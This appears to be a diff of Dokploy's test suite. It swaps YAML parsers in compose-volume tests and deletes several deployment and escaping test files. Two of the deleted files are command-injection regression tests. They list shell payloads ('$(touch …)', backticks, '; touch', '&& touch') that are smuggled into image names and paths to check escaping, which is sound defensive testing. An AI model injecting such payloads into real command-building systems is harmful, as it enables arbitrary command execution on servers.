`) as ComposeSpecification;
test("Expect to change the suffix in all the possible places (3 Try)", () => {
const composeData = parse(composeFile3) as ComposeSpecification;
const composeData = load(composeFile3) as ComposeSpecification;
const suffix = "testhash";
const updatedComposeData = addSuffixToAllVolumes(composeData, suffix);
@@ -645,7 +645,7 @@ volumes:
db-config:
`;
const expectedDockerComposeComplex = parse(`
const expectedDockerComposeComplex = load(`
version: "3.8"
services:
studio:
@@ -1012,7 +1012,7 @@ volumes:
`);
test("Expect to change the suffix in all the possible places (4 Try)", () => {
const composeData = parse(composeFileComplex) as ComposeSpecification;
const composeData = load(composeFileComplex) as ComposeSpecification;
const suffix = "testhash";
const updatedComposeData = addSuffixToAllVolumes(composeData, suffix);
@@ -1065,7 +1065,7 @@ volumes:
db-data:
`;
const expectedDockerComposeExample1 = parse(`
const expectedDockerComposeExample1 = load(`
version: "3.8"
services:
web:
@@ -1111,7 +1111,7 @@ volumes:
`) as ComposeSpecification;
test("Expect to change the suffix in all the possible places (5 Try)", () => {
const composeData = parse(composeFileExample1) as ComposeSpecification;
const composeData = load(composeFileExample1) as ComposeSpecification;
const suffix = "testhash";
const updatedComposeData = addSuffixToAllVolumes(composeData, suffix);
@@ -1143,7 +1143,7 @@ volumes:
backrest-cache:
`;
const expectedDockerComposeBackrest = parse(`
const expectedDockerComposeBackrest = load(`
services:
backrest:
image: garethgeorge/backrest:v1.7.3
@@ -1168,7 +1168,7 @@ volumes:
`) as ComposeSpecification;
test("Should handle volume paths with subdirectories correctly", () => {
const composeData = parse(composeFileBackrest) as ComposeSpecification;
const composeData = load(composeFileBackrest) as ComposeSpecification;
const suffix = "testhash";
const updatedComposeData = addSuffixToAllVolumes(composeData, suffix);
@@ -1,7 +1,7 @@
import type { ComposeSpecification } from "@dokploy/server";
import { addSuffixToVolumesRoot, generateRandomHash } from "@dokploy/server";
import { load } from "js-yaml";
import { expect, test } from "vitest";
import { parse } from "yaml";
const composeFile = `
version: "3.8"
@@ -29,7 +29,7 @@ test("Generate random hash with 8 characters", () => {
});
test("Add suffix to volumes in root property", () => {
const composeData = parse(composeFile) as ComposeSpecification;
const composeData = load(composeFile) as ComposeSpecification;
const suffix = generateRandomHash();
@@ -67,7 +67,7 @@ networks:
`;
test("Add suffix to volumes in root property (Case 2)", () => {
const composeData = parse(composeFile2) as ComposeSpecification;
const composeData = load(composeFile2) as ComposeSpecification;
const suffix = generateRandomHash();
@@ -101,7 +101,7 @@ networks:
`;
test("Add suffix to volumes in root property (Case 3)", () => {
const composeData = parse(composeFile3) as ComposeSpecification;
const composeData = load(composeFile3) as ComposeSpecification;
const suffix = generateRandomHash();
@@ -148,7 +148,7 @@ volumes:
`;
// Expected compose file con el prefijo `testhash`
const expectedComposeFile4 = parse(`
const expectedComposeFile4 = load(`
version: "3.8"
services:
@@ -179,7 +179,7 @@ volumes:
`) as ComposeSpecification;
test("Add suffix to volumes in root property", () => {
const composeData = parse(composeFile4) as ComposeSpecification;
const composeData = load(composeFile4) as ComposeSpecification;
const suffix = "testhash";
@@ -3,8 +3,8 @@ import {
addSuffixToVolumesInServices,
generateRandomHash,
} from "@dokploy/server";
import { load } from "js-yaml";
import { expect, test } from "vitest";
import { parse } from "yaml";
test("Generate random hash with 8 characters", () => {
const hash = generateRandomHash();
@@ -24,7 +24,7 @@ services:
`;
test("Add suffix to volumes declared directly in services", () => {
const composeData = parse(composeFile1) as ComposeSpecification;
const composeData = load(composeFile1) as ComposeSpecification;
const suffix = generateRandomHash();
@@ -42,39 +42,6 @@ test("Add suffix to volumes declared directly in services", () => {
);
});
const composeFileAccessMode = `
version: "3.8"
services:
web:
image: nginx:alpine
volumes:
- web_config:/etc/nginx/conf.d:ro
- certs/sub:/etc/certs:Z
`;
test("Add suffix to volumes preserves access mode (:ro, :z, :Z)", () => {
const composeData = parse(composeFileAccessMode) as ComposeSpecification;
const suffix = generateRandomHash();
if (!composeData.services) {
return;
}
const updatedComposeData = addSuffixToVolumesInServices(
composeData.services,
suffix,
);
expect(updatedComposeData.web?.volumes).toContain(
`web_config-${suffix}:/etc/nginx/conf.d:ro`,
);
expect(updatedComposeData.web?.volumes).toContain(
`certs-${suffix}/sub:/etc/certs:Z`,
);
});
const composeFileTypeVolume = `
version: "3.8"
@@ -92,7 +59,7 @@ volumes:
`;
test("Add suffix to volumes declared directly in services (Case 2)", () => {
const composeData = parse(composeFileTypeVolume) as ComposeSpecification;
const composeData = load(composeFileTypeVolume) as ComposeSpecification;
const suffix = generateRandomHash();
@@ -1,7 +1,7 @@
import type { ComposeSpecification } from "@dokploy/server";
import { addSuffixToAllVolumes } from "@dokploy/server";
import { load } from "js-yaml";
import { expect, test } from "vitest";
import { parse } from "yaml";
const composeFileTypeVolume = `
version: "3.8"
@@ -23,7 +23,7 @@ volumes:
driver: local
`;
const expectedComposeFileTypeVolume = parse(`
const expectedComposeFileTypeVolume = load(`
version: "3.8"
services:
@@ -44,7 +44,7 @@ volumes:
`) as ComposeSpecification;
test("Add suffix to volumes with type: volume in services", () => {
const composeData = parse(composeFileTypeVolume) as ComposeSpecification;
const composeData = load(composeFileTypeVolume) as ComposeSpecification;
const suffix = "testhash";
@@ -73,7 +73,7 @@ volumes:
driver: local
`;
const expectedComposeFileTypeVolume1 = parse(`
const expectedComposeFileTypeVolume1 = load(`
version: "3.8"
services:
@@ -93,7 +93,7 @@ volumes:
`) as ComposeSpecification;
test("Add suffix to mixed volumes in services", () => {
const composeData = parse(composeFileTypeVolume1) as ComposeSpecification;
const composeData = load(composeFileTypeVolume1) as ComposeSpecification;
const suffix = "testhash";
@@ -128,7 +128,7 @@ volumes:
device: /path/to/app/logs
`;
const expectedComposeFileTypeVolume2 = parse(`
const expectedComposeFileTypeVolume2 = load(`
version: "3.8"
services:
@@ -154,7 +154,7 @@ volumes:
`) as ComposeSpecification;
test("Add suffix to complex volume configurations in services", () => {
const composeData = parse(composeFileTypeVolume2) as ComposeSpecification;
const composeData = load(composeFileTypeVolume2) as ComposeSpecification;
const suffix = "testhash";
@@ -218,7 +218,7 @@ volumes:
device: /path/to/shared/logs
`;
const expectedComposeFileTypeVolume3 = parse(`
const expectedComposeFileTypeVolume3 = load(`
version: "3.8"
services:
@@ -273,7 +273,7 @@ volumes:
`) as ComposeSpecification;
test("Add suffix to complex nested volumes configuration in services", () => {
const composeData = parse(composeFileTypeVolume3) as ComposeSpecification;
const composeData = load(composeFileTypeVolume3) as ComposeSpecification;
const suffix = "testhash";
@@ -1,287 +0,0 @@
import * as adminService from "@dokploy/server/services/admin";
import * as applicationService from "@dokploy/server/services/application";
import { deployApplication } from "@dokploy/server/services/application";
import * as deploymentService from "@dokploy/server/services/deployment";
import * as builders from "@dokploy/server/utils/builders";
import * as notifications from "@dokploy/server/utils/notifications/build-success";
import * as execProcess from "@dokploy/server/utils/process/execAsync";
import * as gitProvider from "@dokploy/server/utils/providers/git";
import { beforeEach, describe, expect, it, vi } from "vitest";
vi.mock("@dokploy/server/db", () => {
const createChainableMock = (): any => {
const chain = {
set: vi.fn(() => chain),
where: vi.fn(() => chain),
returning: vi.fn().mockResolvedValue([{}] as any),
from: vi.fn(() => chain),
innerJoin: vi.fn(() => chain),
then: (resolve: (v: any) => void) => {
resolve([]);
},
} as any;
return chain;
};
return {
db: {
select: vi.fn(() => createChainableMock()),
insert: vi.fn(),
update: vi.fn(() => createChainableMock()),
delete: vi.fn(),
query: {
applications: {
findFirst: vi.fn(),
},
patch: {
findMany: vi.fn().mockResolvedValue([]),
},
member: {
findMany: vi.fn().mockResolvedValue([]),
},
},
},
};
});
vi.mock("@dokploy/server/services/application", async () => {
const actual = await vi.importActual<
typeof import("@dokploy/server/services/application")
>("@dokploy/server/services/application");
return {
...actual,
findApplicationById: vi.fn(),
updateApplicationStatus: vi.fn(),
};
});
vi.mock("@dokploy/server/services/admin", () => ({
getDokployUrl: vi.fn(),
}));
vi.mock("@dokploy/server/services/deployment", () => ({
createDeployment: vi.fn(),
updateDeploymentStatus: vi.fn(),
updateDeployment: vi.fn(),
}));
vi.mock("@dokploy/server/utils/providers/git", async () => {
const actual = await vi.importActual<
typeof import("@dokploy/server/utils/providers/git")
>("@dokploy/server/utils/providers/git");
return {
...actual,
getGitCommitInfo: vi.fn(),
};
});
vi.mock("@dokploy/server/utils/process/execAsync", () => ({
execAsync: vi.fn(),
ExecError: class ExecError extends Error {},
}));
vi.mock("@dokploy/server/utils/builders", async () => {
const actual = await vi.importActual<
typeof import("@dokploy/server/utils/builders")
>("@dokploy/server/utils/builders");
return {
...actual,
mechanizeDockerContainer: vi.fn(),
getBuildCommand: vi.fn(),
};
});
vi.mock("@dokploy/server/utils/notifications/build-success", () => ({
sendBuildSuccessNotifications: vi.fn(),
}));
vi.mock("@dokploy/server/utils/notifications/build-error", () => ({
sendBuildErrorNotifications: vi.fn(),
}));
vi.mock("@dokploy/server/services/rollbacks", () => ({
createRollback: vi.fn(),
}));
import { db } from "@dokploy/server/db";
import { cloneGitRepository } from "@dokploy/server/utils/providers/git";
const createMockApplication = (overrides = {}) => ({
applicationId: "test-app-id",
name: "Test App",
appName: "test-app",
sourceType: "git" as const,
customGitUrl: "https://github.com/Dokploy/examples.git",
customGitBranch: "main",
customGitSSHKeyId: null,
buildType: "nixpacks" as const,
buildPath: "/astro",
env: "NODE_ENV=production",
serverId: null,
rollbackActive: false,
enableSubmodules: false,
environmentId: "env-id",
environment: {
projectId: "project-id",
env: "",
name: "production",
project: {
name: "Test Project",
organizationId: "org-id",
env: "",
},
},
domains: [],
...overrides,
});
const createMockDeployment = () => ({
deploymentId: "deployment-id",
logPath: "/tmp/test-deployment.log",
});
describe("deployApplication - Command Generation Tests", () => {
beforeEach(() => {
vi.clearAllMocks();
vi.mocked(db.query.applications.findFirst).mockResolvedValue(
createMockApplication() as any,
);
vi.mocked(applicationService.findApplicationById).mockResolvedValue(
createMockApplication() as any,
);
vi.mocked(adminService.getDokployUrl).mockResolvedValue(
"http://localhost:3000",
);
vi.mocked(deploymentService.createDeployment).mockResolvedValue(
createMockDeployment() as any,
);
vi.mocked(execProcess.execAsync).mockResolvedValue({
stdout: "",
stderr: "",
} as any);
vi.mocked(builders.mechanizeDockerContainer).mockResolvedValue(
undefined as any,
);
vi.mocked(deploymentService.updateDeploymentStatus).mockResolvedValue(
undefined as any,
);
vi.mocked(applicationService.updateApplicationStatus).mockResolvedValue(
{} as any,
);
vi.mocked(notifications.sendBuildSuccessNotifications).mockResolvedValue(
undefined as any,
);
vi.mocked(gitProvider.getGitCommitInfo).mockResolvedValue({
message: "test commit",
hash: "abc123",
});
vi.mocked(deploymentService.updateDeployment).mockResolvedValue({} as any);
});
it("should generate correct git clone command for astro example", async () => {
const app = createMockApplication();
const command = await cloneGitRepository(app);
console.log(command);
expect(command).toContain("https://github.com/Dokploy/examples.git");
expect(command).not.toContain("--recurse-submodules");
expect(command).toContain("--branch main");
expect(command).toContain("--depth 1");
expect(command).toContain("git clone");
});
it("should generate git clone with submodules when enabled", async () => {
const app = createMockApplication({ enableSubmodules: true });
const command = await cloneGitRepository(app);
expect(command).toContain("--recurse-submodules");
expect(command).toContain("https://github.com/Dokploy/examples.git");
});
it("should verify nixpacks command is called with correct app", async () => {
const mockNixpacksCommand = "nixpacks build /path/to/app --name test-app";
vi.mocked(builders.getBuildCommand).mockResolvedValue(mockNixpacksCommand);
await deployApplication({
applicationId: "test-app-id",
titleLog: "Test deployment",
descriptionLog: "",
});
expect(builders.getBuildCommand).toHaveBeenCalledWith(
expect.objectContaining({
buildType: "nixpacks",
customGitUrl: "https://github.com/Dokploy/examples.git",
buildPath: "/astro",
}),
);
expect(execProcess.execAsync).toHaveBeenCalledWith(
expect.stringContaining("nixpacks build"),
);
});
it("should verify railpack command includes correct parameters", async () => {
const mockApp = createMockApplication({ buildType: "railpack" });
vi.mocked(db.query.applications.findFirst).mockResolvedValue(
mockApp as any,
);
vi.mocked(applicationService.findApplicationById).mockResolvedValue(
mockApp as any,
);
const mockRailpackCommand = "railpack prepare /path/to/app";
vi.mocked(builders.getBuildCommand).mockResolvedValue(mockRailpackCommand);
await deployApplication({
applicationId: "test-app-id",
titleLog: "Railpack test",
descriptionLog: "",
});
expect(builders.getBuildCommand).toHaveBeenCalledWith(
expect.objectContaining({
buildType: "railpack",
}),
);
expect(execProcess.execAsync).toHaveBeenCalledWith(
expect.stringContaining("railpack prepare"),
);
});
it("should execute commands in correct order", async () => {
const mockNixpacksCommand = "nixpacks build";
vi.mocked(builders.getBuildCommand).mockResolvedValue(mockNixpacksCommand);
await deployApplication({
applicationId: "test-app-id",
titleLog: "Test",
descriptionLog: "",
});
const execCalls = vi.mocked(execProcess.execAsync).mock.calls;
expect(execCalls.length).toBeGreaterThan(0);
const fullCommand = execCalls[0]?.[0];
expect(fullCommand).toContain("set -e");
expect(fullCommand).toContain("git clone");
expect(fullCommand).toContain("nixpacks build");
});
it("should include log redirection in command", async () => {
const mockCommand = "nixpacks build";
vi.mocked(builders.getBuildCommand).mockResolvedValue(mockCommand);
await deployApplication({
applicationId: "test-app-id",
titleLog: "Test",
descriptionLog: "",
});
const execCalls = vi.mocked(execProcess.execAsync).mock.calls;
const fullCommand = execCalls[0]?.[0];
expect(fullCommand).toContain(">> /tmp/test-deployment.log 2>&1");
});
});
@@ -1,490 +0,0 @@
import { existsSync } from "node:fs";
import path from "node:path";
import type { ApplicationNested } from "@dokploy/server";
import { paths } from "@dokploy/server/constants";
import { execAsync } from "@dokploy/server/utils/process/execAsync";
import { format } from "date-fns";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
const REAL_TEST_TIMEOUT = 180000; // 3 minutes
// Mock ONLY database and notifications
vi.mock("@dokploy/server/db", () => {
const createChainableMock = (): any => {
const chain: any = {
set: vi.fn(() => chain),
where: vi.fn(() => chain),
returning: vi.fn().mockResolvedValue([{}]),
from: vi.fn(() => chain),
innerJoin: vi.fn(() => chain),
then: (resolve: (v: any) => void) => {
resolve([]);
},
};
return chain;
};
return {
db: {
select: vi.fn(() => createChainableMock()),
insert: vi.fn(),
update: vi.fn(() => createChainableMock()),
delete: vi.fn(),
query: {
applications: {
findFirst: vi.fn(),
},
patch: {
findMany: vi.fn().mockResolvedValue([]),
},
member: {
findMany: vi.fn().mockResolvedValue([]),
},
},
},
};
});
vi.mock("@dokploy/server/services/application", async () => {
const actual = await vi.importActual<
typeof import("@dokploy/server/services/application")
>("@dokploy/server/services/application");
return {
...actual,
findApplicationById: vi.fn(),
updateApplicationStatus: vi.fn(),
};
});
vi.mock("@dokploy/server/services/admin", () => ({
getDokployUrl: vi.fn().mockResolvedValue("http://localhost:3000"),
}));
vi.mock("@dokploy/server/services/deployment", () => ({
createDeployment: vi.fn(),
updateDeploymentStatus: vi.fn(),
updateDeployment: vi.fn(),
}));
vi.mock("@dokploy/server/utils/notifications/build-success", () => ({
sendBuildSuccessNotifications: vi.fn(),
}));
vi.mock("@dokploy/server/utils/notifications/build-error", () => ({
sendBuildErrorNotifications: vi.fn(),
}));
vi.mock("@dokploy/server/services/rollbacks", () => ({
createRollback: vi.fn(),
}));
// NOT mocked (executed for real):
// - execAsync
// - cloneGitRepository
// - getBuildCommand
// - mechanizeDockerContainer (requires Docker Swarm)
import { db } from "@dokploy/server/db";
import * as adminService from "@dokploy/server/services/admin";
import * as applicationService from "@dokploy/server/services/application";
import { deployApplication } from "@dokploy/server/services/application";
import * as deploymentService from "@dokploy/server/services/deployment";
const createMockApplication = (
overrides: Partial<ApplicationNested> = {},
): ApplicationNested =>
({
applicationId: "test-app-id",
name: "Real Test App",
appName: `real-test-${Date.now()}`,
sourceType: "git" as const,
customGitUrl: "https://github.com/Dokploy/examples.git",
customGitBranch: "main",
customGitSSHKeyId: null,
customGitBuildPath: "/astro",
buildType: "nixpacks" as const,
env: "NODE_ENV=production",
serverId: null,
rollbackActive: false,
enableSubmodules: false,
environmentId: "env-id",
environment: {
projectId: "project-id",
env: "",
name: "production",
project: {
name: "Test Project",
organizationId: "org-id",
env: "",
},
},
domains: [],
mounts: [],
security: [],
redirects: [],
ports: [],
registry: null,
...overrides,
}) as ApplicationNested;
const createMockDeployment = async (appName: string) => {
const { LOGS_PATH } = paths(false); // false = local, no remote server
const formattedDateTime = format(new Date(), "yyyy-MM-dd:HH:mm:ss");
const fileName = `${appName}-${formattedDateTime}.log`;
const logFilePath = path.join(LOGS_PATH, appName, fileName);
// Actually create the log directory
await execAsync(`mkdir -p ${path.dirname(logFilePath)}`);
await execAsync(`echo "Initializing deployment" > ${logFilePath}`);
return {
deploymentId: "deployment-id",
logPath: logFilePath,
};
};
async function cleanupDocker(appName: string) {
try {
await execAsync(`docker stop ${appName} 2>/dev/null || true`);
await execAsync(`docker rm ${appName} 2>/dev/null || true`);
await execAsync(`docker rmi ${appName} 2>/dev/null || true`);
} catch (error) {
console.log("Docker cleanup completed");
}
}
async function cleanupFiles(appName: string) {
try {
const { LOGS_PATH, APPLICATIONS_PATH } = paths(false);
// Clean cloned code directories
const appPath = path.join(APPLICATIONS_PATH, appName);
await execAsync(`rm -rf ${appPath} 2>/dev/null || true`);
// Clean logs for appName - removes entire folder
const logPath = path.join(LOGS_PATH, appName);
await execAsync(`rm -rf ${logPath} 2>/dev/null || true`);
console.log(`✅ Cleaned up files and logs for ${appName}`);
} catch (error) {
console.error(`⚠️ Error during cleanup for ${appName}:`, error);
}
}
describe(
"deployApplication - REAL Execution Tests",
() => {
let currentAppName: string;
let currentDeployment: any;
const allTestAppNames: string[] = [];
beforeEach(async () => {
vi.clearAllMocks();
currentAppName = `real-test-${Date.now()}`;
currentDeployment = await createMockDeployment(currentAppName);
allTestAppNames.push(currentAppName);
const mockApp = createMockApplication({ appName: currentAppName });
vi.mocked(db.query.applications.findFirst).mockResolvedValue(
mockApp as any,
);
vi.mocked(applicationService.findApplicationById).mockResolvedValue(
mockApp as any,
);
vi.mocked(adminService.getDokployUrl).mockResolvedValue(
"http://localhost:3000",
);
vi.mocked(deploymentService.createDeployment).mockResolvedValue(
currentDeployment as any,
);
vi.mocked(deploymentService.updateDeploymentStatus).mockResolvedValue(
undefined as any,
);
vi.mocked(applicationService.updateApplicationStatus).mockResolvedValue(
{} as any,
);
vi.mocked(deploymentService.updateDeployment).mockResolvedValue(
{} as any,
);
});
afterEach(async () => {
// ALWAYS cleanup, even if test failed or passed
console.log(`\n🧹 Cleaning up test: ${currentAppName}`);
// Clean current appName
try {
await cleanupDocker(currentAppName);
await cleanupFiles(currentAppName);
} catch (error) {
console.error("⚠️ Error cleaning current app:", error);
}
// Clean ALL test folders just in case
try {
const { LOGS_PATH, APPLICATIONS_PATH } = paths(false);
await execAsync(`rm -rf ${LOGS_PATH}/real-* 2>/dev/null || true`);
await execAsync(
`rm -rf ${APPLICATIONS_PATH}/real-* 2>/dev/null || true`,
);
console.log("✅ Cleaned up all test artifacts");
} catch (error) {
console.error("⚠️ Error cleaning all artifacts:", error);
}
console.log("✅ Cleanup completed\n");
});
it(
"should REALLY clone git repo and build with nixpacks",
async () => {
console.log(`\n🚀 Testing real deployment with app: ${currentAppName}`);
const result = await deployApplication({
applicationId: "test-app-id",
titleLog: "Real Nixpacks Test",
descriptionLog: "Testing real execution",
});
expect(result).toBe(true);
// Verify that Docker image was actually created
const { stdout: dockerImages } = await execAsync(
`docker images ${currentAppName} --format "{{.Repository}}"`,
);
console.log("dockerImages", dockerImages);
expect(dockerImages.trim()).toBe(currentAppName);
console.log(`✅ Docker image created: ${currentAppName}`);
// Verify log exists and has content
expect(existsSync(currentDeployment.logPath)).toBe(true);
const { stdout: logContent } = await execAsync(
`cat ${currentDeployment.logPath}`,
);
expect(logContent).toContain("Cloning");
expect(logContent).toContain("nixpacks");
console.log(`✅ Build log created with ${logContent.length} chars`);
// Verify update functions were called
expect(deploymentService.updateDeploymentStatus).toHaveBeenCalledWith(
"deployment-id",
"done",
);
},
REAL_TEST_TIMEOUT,
);
it.skip(
"should REALLY build with railpack (SKIPPED: requires special permissions)",
async () => {
const railpackAppName = `real-railpack-${Date.now()}`;
const railpackApp = createMockApplication({
appName: railpackAppName,
buildType: "railpack",
railpackVersion: "3",
});
currentAppName = railpackAppName;
allTestAppNames.push(railpackAppName);
vi.mocked(db.query.applications.findFirst).mockResolvedValue(
railpackApp as any,
);
vi.mocked(applicationService.findApplicationById).mockResolvedValue(
railpackApp as any,
);
console.log(`\n🚀 Testing real railpack deployment: ${currentAppName}`);
const result = await deployApplication({
applicationId: "test-app-id",
titleLog: "Real Railpack Test",
descriptionLog: "",
});
expect(result).toBe(true);
const { stdout: dockerImages } = await execAsync(
`docker images ${currentAppName} --format "{{.Repository}}"`,
);
expect(dockerImages.trim()).toBe(currentAppName);
console.log(`✅ Railpack image created: ${currentAppName}`);
const { stdout: logContent } = await execAsync(
`cat ${currentDeployment.logPath}`,
);
expect(logContent).toContain("railpack");
console.log("✅ Railpack build completed");
},
REAL_TEST_TIMEOUT,
);
it(
"should handle REAL git clone errors",
async () => {
const errorAppName = `real-error-${Date.now()}`;
const errorApp = createMockApplication({
appName: errorAppName,
customGitUrl:
"https://github.com/invalid/nonexistent-repo-123456.git",
});
currentAppName = errorAppName;
allTestAppNames.push(errorAppName);
vi.mocked(db.query.applications.findFirst).mockResolvedValue(
errorApp as any,
);
vi.mocked(applicationService.findApplicationById).mockResolvedValue(
errorApp as any,
);
console.log(`\n🚀 Testing real error handling: ${currentAppName}`);
await expect(
deployApplication({
applicationId: "test-app-id",
titleLog: "Real Error Test",
descriptionLog: "",
}),
).rejects.toThrow();
// Verify error status was called
expect(deploymentService.updateDeploymentStatus).toHaveBeenCalledWith(
"deployment-id",
"error",
);
// Verify log contains error
const { stdout: logContent } = await execAsync(
`cat ${currentDeployment.logPath}`,
);
expect(logContent.toLowerCase()).toContain("error");
console.log("✅ Error handling verified");
},
REAL_TEST_TIMEOUT,
);
it(
"should REALLY clone with submodules when enabled",
async () => {
const submodulesAppName = `real-submodules-${Date.now()}`;
const submodulesApp = createMockApplication({
appName: submodulesAppName,
enableSubmodules: true,
});
currentAppName = submodulesAppName;
allTestAppNames.push(submodulesAppName);
vi.mocked(db.query.applications.findFirst).mockResolvedValue(
submodulesApp as any,
);
vi.mocked(applicationService.findApplicationById).mockResolvedValue(
submodulesApp as any,
);
console.log(`\n🚀 Testing real submodules support: ${currentAppName}`);
const result = await deployApplication({
applicationId: "test-app-id",
titleLog: "Real Submodules Test",
descriptionLog: "",
});
expect(result).toBe(true);
// Verify deployment completed successfully
const { stdout: logContent } = await execAsync(
`cat ${currentDeployment.logPath}`,
);
expect(logContent).toContain("Cloning");
expect(logContent.length).toBeGreaterThan(100);
console.log("✅ Submodules deployment completed");
// Verify image
const { stdout: dockerImages } = await execAsync(
`docker images ${currentAppName} --format "{{.Repository}}"`,
);
expect(dockerImages.trim()).toBe(currentAppName);
},
REAL_TEST_TIMEOUT,
);
it(
"should verify REAL commit info extraction",
async () => {
console.log(`\n🚀 Testing real commit info: ${currentAppName}`);
await deployApplication({
applicationId: "test-app-id",
titleLog: "Real Commit Test",
descriptionLog: "",
});
// Verify updateDeployment was called with commit info
expect(deploymentService.updateDeployment).toHaveBeenCalled();
const updateCall = vi.mocked(deploymentService.updateDeployment).mock
.calls[0];
// Real commit info should have title and hash
expect(updateCall?.[1]).toHaveProperty("title");
expect(updateCall?.[1]).toHaveProperty("description");
expect(updateCall?.[1]?.description).toContain("Commit:");
console.log(
`✅ Real commit extracted: ${updateCall?.[1]?.title?.substring(0, 50)}...`,
);
},
REAL_TEST_TIMEOUT,
);
it(
"should REALLY build with Dockerfile",
async () => {
const dockerfileAppName = `real-dockerfile-${Date.now()}`;
const dockerfileApp = createMockApplication({
appName: dockerfileAppName,
buildType: "dockerfile",
customGitBuildPath: "/deno",
dockerfile: "Dockerfile",
});
currentAppName = dockerfileAppName;
allTestAppNames.push(dockerfileAppName);
vi.mocked(db.query.applications.findFirst).mockResolvedValue(
dockerfileApp as any,
);
vi.mocked(applicationService.findApplicationById).mockResolvedValue(
dockerfileApp as any,
);
console.log(`\n🚀 Testing real Dockerfile build: ${currentAppName}`);
const result = await deployApplication({
applicationId: "test-app-id",
titleLog: "Real Dockerfile Test",
descriptionLog: "",
});
expect(result).toBe(true);
// Verify log
const { stdout: logContent } = await execAsync(
`cat ${currentDeployment.logPath}`,
);
expect(logContent).toContain("Building");
expect(logContent).toContain(dockerfileAppName);
console.log("✅ Dockerfile build log verified");
// Verify image
const { stdout: dockerImages } = await execAsync(
`docker images ${currentAppName} --format "{{.Repository}}"`,
);
console.log("dockerImages", dockerImages);
expect(dockerImages.trim()).toBe(currentAppName);
console.log(`✅ Docker image created: ${currentAppName}`);
},
REAL_TEST_TIMEOUT,
);
},
REAL_TEST_TIMEOUT,
);
@@ -1,41 +0,0 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { parse, quote } from "shell-quote";
import { describe, expect, it } from "vitest";
// The six database deploy functions (postgres/mysql/mariadb/mongo/redis/libsql)
// build `docker pull ${quote([dockerImage])}` for the remote (execAsyncRemote)
// path. `docker` is replaced by `:` so only the injection surface is exercised.
const MARK = `/tmp/dokploy_dbimg_pwned_${process.pid}`;
const PAYLOADS = [
"$(touch %MARK%)",
"`touch %MARK%`",
"redis:7; touch %MARK%",
"redis:7 && touch %MARK%",
"redis:7 | touch %MARK%",
];
describe("database service dockerImage command injection", () => {
it("does not execute injected commands from dockerImage", () => {
for (const template of PAYLOADS) {
if (existsSync(MARK)) rmSync(MARK);
const dockerImage = template.replace("%MARK%", MARK);
const command = `: pull ${quote([dockerImage])}`;
try {
execSync(command, { shell: "/bin/sh", stdio: "ignore" });
} catch {}
expect(existsSync(MARK)).toBe(false);
}
if (existsSync(MARK)) rmSync(MARK);
});
it("keeps a legitimate image tag intact", () => {
expect(parse(quote(["postgres:16.4-alpine"]))).toEqual([
"postgres:16.4-alpine",
]);
expect(parse(quote(["ghcr.io/org/db:latest"]))).toEqual([
"ghcr.io/org/db:latest",
]);
});
});
@@ -1,66 +0,0 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { parse, quote } from "shell-quote";
import { describe, expect, it } from "vitest";
// Reproduces the escaping applied at the docker build/pull sinks and asserts no
// payload can break out of the command. `docker`/`cd` are replaced by `:` so the
// test exercises only the injection surface, not real docker.
const MARK = `/tmp/dokploy_docker_pwned_${process.pid}`;
const runAndCheckSafe = (command: string) => {
if (existsSync(MARK)) rmSync(MARK);
try {
execSync(command, { shell: "/bin/sh", stdio: "ignore" });
} catch {
// no-op stand-ins may exit non-zero; only the marker matters.
}
const fired = existsSync(MARK);
if (existsSync(MARK)) rmSync(MARK);
return !fired;
};
const PAYLOADS = [
"$(touch %MARK%)",
"`touch %MARK%`",
"x; touch %MARK%",
"x && touch %MARK%",
"x | touch %MARK%",
];
describe("docker build/pull command injection", () => {
it("dockerImage (buildRemoteDocker: docker pull / echo) is escaped", () => {
for (const p of PAYLOADS) {
const dockerImage = p.replace("%MARK%", MARK);
const command = `: pull ${quote([dockerImage])}; : echo ${quote([`Pulling ${dockerImage}`])}`;
expect(runAndCheckSafe(command)).toBe(true);
}
});
it("dockerContextPath (docker-file: cd) is escaped", () => {
for (const p of PAYLOADS) {
const dockerContextPath = p.replace("%MARK%", MARK);
const command = `: cd ${quote([dockerContextPath])}`;
expect(runAndCheckSafe(command)).toBe(true);
}
});
it("publishDirectory (nixpacks: docker cp source path) is escaped", () => {
for (const p of PAYLOADS) {
const publishDirectory = p.replace("%MARK%", MARK);
const containerId = "buildabc";
const command = `: cp ${quote([`${containerId}:/app/${publishDirectory}/.`])} /dest`;
expect(runAndCheckSafe(command)).toBe(true);
}
});
it("keeps a legitimate image / path intact as a single token", () => {
// Escaping may add backslashes (e.g. before ':'), but the shell must parse
// the result back to exactly the original single token.
expect(parse(quote(["nginx:1.27-alpine"]))).toEqual(["nginx:1.27-alpine"]);
expect(parse(quote(["registry.io/team/app:tag"]))).toEqual([
"registry.io/team/app:tag",
]);
expect(parse(quote(["dist/static"]))).toEqual(["dist/static"]);
});
});
@@ -1,43 +0,0 @@
import { execFileSync } from "node:child_process";
import { mkdirSync, readFileSync, rmSync } from "node:fs";
import { join } from "node:path";
import { createEnvFileCommand } from "@dokploy/server/utils/builders/utils";
import { parse } from "dotenv";
import { afterEach, describe, expect, it } from "vitest";
// Unlike compose's .env, this one is read by the app's own build tooling
// (generic dotenv, e.g. Next.js/Vite) — must stay unquoted, not Compose-escaped.
const appName = `env-file-literals-dockerfile-${process.pid}`;
const projectPath = join(process.cwd(), ".docker", "compose", appName);
const codePath = join(projectPath, "code");
const dockerFilePath = join(codePath, "Dockerfile");
afterEach(() => rmSync(projectPath, { force: true, recursive: true }));
const cases: Record<string, string> = {
PASSWORD: "pa$$word",
NESTED_JSON: '{"nested":{"a":1}}',
QUOTE_INSIDE: 'she said "hi"',
BACKSLASH: "back\\slash",
UNICODE: "héllo wörld 日本語 🚀",
};
describe("createEnvFileCommand", () => {
it("writes special environment values that a generic dotenv parser reads back literally", () => {
mkdirSync(codePath, { recursive: true });
const serviceEnv = Object.entries(cases)
.map(([key, value]) => `${key}=${value}`)
.join("\n");
const command = createEnvFileCommand(dockerFilePath, serviceEnv, "", "");
execFileSync("bash", ["-c", command]);
const written = readFileSync(join(codePath, ".env"), "utf8");
const parsed = parse(written);
for (const [key, value] of Object.entries(cases)) {
expect(parsed[key], key).toBe(value);
}
});
});
@@ -1,480 +0,0 @@
import type { NextApiRequest, NextApiResponse } from "next";
import { beforeEach, describe, expect, it, vi } from "vitest";
const mocks = vi.hoisted(() => ({
eq: vi.fn((field: string, value: unknown) => ({ field, value })),
